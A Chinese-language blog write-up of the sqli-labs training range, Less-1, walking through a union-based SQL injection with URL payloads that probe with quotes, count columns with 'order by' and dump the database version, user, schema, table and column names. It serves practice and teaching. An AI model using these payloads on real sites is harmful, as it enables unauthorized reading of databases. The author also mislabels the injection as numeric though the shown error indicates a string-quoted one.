sqli-labs靶场less-1

sqllilabs靶场第一场记录

1、判断注入点

image-20240928174439631

在url后面写?id=1,有回显,

image-20240928175234835

输入?id=2,也有回显,输入?id=0,回显

image-20240928174605844

判断有注入

加单引号:?id=1’

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

报错,从 ’ ‘1’ ’ LIMIT 0,1’ 可以得知,多一个单引号,怀疑为数字型注入

因为单引号需要闭合,同时原先查询语句的单引号需要注释掉,构造语句

?id=1' and 1=1 --+

第一个单引号闭合sql语句的查询,–注释掉原先语句的的单引号,+在表示空格,回显:image-20240928175256193

构造:?id=1’ and 1=2 --+,回显:

image-20240928175533142

确定为数字型注入

2、确定列数

构造

?id=1’ order by 10 --+

image-20240928175648944

将5依次设置其他数值,发现id=3时:回显正常

image-20240928175723787

确定有三列

3、回显位置

注入过程中,union和前面一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同,如1,2,3==4,5,6均为3列。我们把这种注入方式称为union注入

构造

/id=-1’ union select 1,2,3 --+

将1设置为-1使其原先的页面回显不显示,而回显union查询的部分,回显结果:

image-20240928180711121

确定2和3为回显位

4、获取信息

/?id=-1’ union select 1,version(),database() --+

显示MySQL的版本与数据库名

image-20240928180850166

当前用户名

?id=-1’ union select 1,user(),current_user() --+

image-20240928181048761

image-20240928181346938

构造

?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata --+ 爆出所有数据库名

image-20240928181522103

爆当前数据库的表名

?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+

image-20240928181909697

爆列名

/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’–+

image-20240928182055387

其他表于此同理,至此大功告成

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值